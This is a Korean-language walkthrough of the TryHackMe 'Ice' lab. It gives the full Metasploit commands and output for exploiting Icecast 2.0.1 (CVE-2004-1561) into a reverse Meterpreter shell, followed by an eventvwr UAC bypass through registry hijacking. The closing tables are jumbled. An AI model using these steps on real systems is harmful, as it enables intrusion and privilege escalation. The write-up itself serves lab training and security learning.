
TryHackMe의 Ice 머신 완전 침해 — 버퍼 오버플로를 통한 Icecast 2.0.1 RCE(CVE-2004-1561), 이어서 UAC 우회 / COM 하이재킹을 통한 Windows 권한 상승. 상세한 방법론과 복구 절차를 포함합니다.
플랫폼: TryHackMe 대상 OS: Windows 7 / Windows Server 2008 R2 난이도: 쉬움 분류: 버퍼 오버플로(RCE), 로컬 권한 상승
이 보고서는 초기 정찰부터 SYSTEM 수준 권한 상승까지 TryHackMe의 Ice 머신 전체 침투 과정을 문서화합니다. 대상은 조작된 HTTP 헤더를 통한 임의 코드 실행을 허용하는 원격 버퍼 오버플로(CVE-2004-1561)에 취약한 오래된 Icecast 2.0.1 스트리밍 미디어 서버를 노출합니다. 초기 접근은 Meterpreter 리버스 셸을 통해 낮은 권한의 사용자로 획득되었습니다. 그 후 NT AUTHORITY\SYSTEM으로의 권한 상승은 HKCU 아래의 자동 승격 바이너리와 레지스트리 키 리디렉션을 활용하는 Windows COM 개체 하이재킹 취약점(bypassuac_eventvwr)을 악용하여 달성되었습니다.
| 단계 | 기법 | 결과 |
|---|---|---|
| 정찰 | arp-scan, nmap | 호스트 및 7개 오픈 포트 식별 |
| 초기 접근 | Icecast HTTP 헤더 버퍼 오버플로(CVE-2004-1561) | 로컬 사용자로 Meterpreter 세션 획득 |
| 권한 상승 | bypassuac_eventvwr(COM/레지스트리 하이재킹) | SYSTEM 셸 획득 |
ARP 스캔을 사용하여 로컬 네트워크에서 대상의 IP 주소를 식별했습니다.
arp-scan -l

대상은 192.168.37.138로 식별되었습니다.
대상에 대해 서비스/버전 탐지를 포함한 전체 SYN 스캔이 실행되었습니다:
nmap -sS -sV 192.168.37.138
결과:
호스트는 Windows 머신인 DARK-PC로 핑거프린팅되었습니다. Icecast를 실행 중인 포트 8000이 가장 유망한 공격 표면으로 눈에 띄었습니다 — 표준 Windows 서비스가 아니며 과거 CVE가 존재하는 것으로 알려져 있기 때문입니다.
알려진 Icecast 취약점 검색 결과 CVE-2004-1561이 확인되었습니다:
Icecast 2.0.1 및 이전 버전의 버퍼 오버플로로 인해 원격 공격자가 다수의 헤더가 포함된 HTTP 요청을 통해 임의 코드를 실행할 수 있습니다.
일치하는 Metasploit 모듈이 확인되었습니다:
search CVE-2004-1561

exploit/windows/http/icecast_header 2004-09-28 great No Icecast Header Overwrite
Icecast 2.0.1은 처리하는 HTTP 헤더 수를 제대로 경계 검사하지 못합니다. 서버 버퍼가 처리할 수 있는 크기보다 더 많은 헤더를 보내면 초과 데이터가 인접한 메모리로 오버플로되어 예약된 헤더 파싱 버퍼 외부의 데이터를 덮어씁니다.
구체적으로, 이 오버플로는 스택의 **저장된 복귀 주소(EIP)**를 손상시킵니다 — 요청을 처리하는 함수가 반환될 때 CPU가 점프하여 돌아가는 주소입니다. 공격자는 이 주소를 제어함으로써 정상적인 복귀 지점 대신 공격자가 제공한 셸코드로 실행 흐름을 리다이렉트하여 Icecast 프로세스의 컨텍스트에서 임의 코드 실행을 달성할 수 있습니다.
use exploit/windows/http/icecast_header
set RHOSTS 192.168.37.138
set RPORT 8000
set LHOST 192.168.37.133
set LPORT 4444

exploit
[*] Started reverse TCP handler on 192.168.37.133:4444
[*] Sending stage (177734 bytes) to 192.168.37.138
[*] Meterpreter session 1 opened (192.168.37.133:4444 -> 192.168.37.138:49181)
낮은 권한의 사용자로 Meterpreter 세션이 수립되었습니다.
활성 세션이 있는 상태에서 Metasploit의 내장 서제스터를 사용하여 대상의 패치 수준에 대해 유효한 로컬 권한 상승 경로를 식별했습니다:
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

패치되지 않은 Windows 7 / Server 2008 R2 호스트를 대상으로 하는 bypassuac_eventvwr을 포함한 여러 모듈이 유효할 가능성이 있는 것으로 표시되었습니다.
이 권한 상승 경로는 서로 다른 언어로 작성된 구성 요소가 상호 운용될 수 있게 하는 Windows의 COM(Component Object Model) 아키텍처를 악용합니다. COM 개체는 일반적으로 공유 DLL에 의존하며, 시스템은 레지스트리 경로를 통해 특정 COM 개체에 대해 로드할 DLL을 결정합니다 — 여기에는 현재 사용자의 HKCU 하이브 아래에 저장된 경로도 포함됩니다.
eventvwr.exe는 자동 승격 Windows 바이너리입니다(기본 UAC 구성에서 매니페스트 설정으로 인해 프롬프트 자체를 표시하지 않고 UAC 승격 프롬프트를 자동으로 트리거합니다). 실행되면 HKCU를 쿼리하여 COM 개체를 확인하고 관련 DLL을 로드합니다.
이 익스플로잇은 이 조회를 하이재킹합니다: 현재 사용자의 HKCU 하이브 아래에 악성 레지스트리 키를 작성하여 COM 해석이 정상적인 시스템 DLL 대신 공격자가 제어하는 페이로드를 가리키도록 합니다. eventvwr.exe가 자동 승격되므로 트리거되는 페이로드 — 이 경우 명령 셸 — 는 eventvwr.exe가 승격되는 무결성 수준으로 실행되어, 표준 사용자 세션을 더 높은 권한의 컨텍스트로 상승시킵니다. 이 과정에서 사용자에게 보이는 UAC 프롬프트는 전혀 표시되지 않습니다.
use exploit/windows/local/bypassuac_eventvwr
set SESSION 1
set LHOST 192.168.37.133
set LPORT 4444
exploit

[*] UAC is enabled, checking level...
[+] Part of Administrators group! Continuing...
[*] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[*] Meterpreter session 2 opened (192.168.37.133:4444 -> 192.168.37.138:49180)
[*] Cleaning up registry keys ...
C:\Windows\system32>
승격된 셸로 두 번째 Meterpreter 세션이 열렸으며, C:\Windows\system32에 직접 드롭되어 권한 상승을 확인했습니다.
| # | 발견 사항 | 심각도 | CVE / 참조 |
|---|---|---|---|
| 1 | 원격 코드 실행으로 이어지는 Icecast 2.0.1 HTTP 헤더 버퍼 오버플로 |
eventvwr.exe 자동 승격 악용은 이후 Windows 빌드에서 패치되었으며, 이 공격은 완전히 업데이트된 최신 Windows 버전에서는 동작하지 않습니다.arp-scan, nmap — 정찰Metasploit Framework(msfconsole) — 익스플로잇 및 포스트 익스플로잇Meterpreter — 포스트 익스플로잇 셸| 포트 | 서비스 | 버전 |
|---|
| 135/tcp | msrpc | Microsoft Windows RPC |
| 139/tcp | netbios-ssn | Microsoft Windows netbios-ssn |
| 445/tcp | microsoft-ds | Windows 7–10 (작업 그룹: WORKGROUP) |
| 5357/tcp | http | Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 8000/tcp | http | Icecast 스트리밍 미디어 서버 |
| 49152–49157/tcp | msrpc | Microsoft Windows RPC |
| Critical |
| CVE-2004-1561 |
| 2 | COM/레지스트리 하이재킹을 통한 UAC 우회(eventvwr.exe 자동 승격) | High | 알려진 Windows 7/Server 2008 R2 UAC 설계 결함 |